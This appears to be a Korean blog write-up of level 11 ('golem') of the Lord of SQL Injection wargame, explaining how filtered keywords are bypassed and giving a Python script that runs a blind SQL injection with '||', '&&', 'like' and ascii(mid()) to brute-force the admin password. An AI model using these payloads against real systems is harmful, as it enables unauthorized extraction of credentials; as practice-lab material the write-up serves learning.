본문 바로가기

Wargame/Lord Of SQL injection (eagle-jump)

[LOS] 11번 golem











이번 문제는 golem이다.






이번 문제는 admin의 pw를 알아내는 문제이다.


근데 or, and, substr, 등호가 막혀있어서 우회해야 한다.


파이썬 코드로 작성하면 다음과 같다.





1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
URL = 'http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php'
 
head = {'cookie' : ' '}
 
def matching(num) :
    for i in range(1,num+1) :
        for j in range(32,127) :
            params = {'pw' : '\' || id like \'admin\' && ascii(mid(pw,%d,1)) like \'%d' %(i, j)}
            res = requests.get(url=URL, params=params, headers=head)
            if("Hello admin" in res.text) :
                print chr(j), 
                break
 
for a in range(1,30) :
    params_length = {'pw' : '\' || id like \'admin\' && length(pw) like \'%d' %a}
    res_length = requests.get(url=URL, params=params_length, headers=head)
    if("Hello admin" in res_length.text) :
        print(a)
        matching(a)
        break
cs







pw는 8글자이고 88e3137f 이다.



?pw=88e3137f



을 입력해주면 된다.






문제 해결

'Wargame > Lord Of SQL injection (eagle-jump)' 카테고리의 다른 글

[LOS] 10번 skeleton  (0) 2017.08.15
[LOS] 9번 vampire  (0) 2017.08.14
[LOS] 8번 troll  (0) 2017.08.14
[LOS] 7번 orge  (0) 2017.08.14
[LOS] 6번 darkelf  (0) 2017.08.14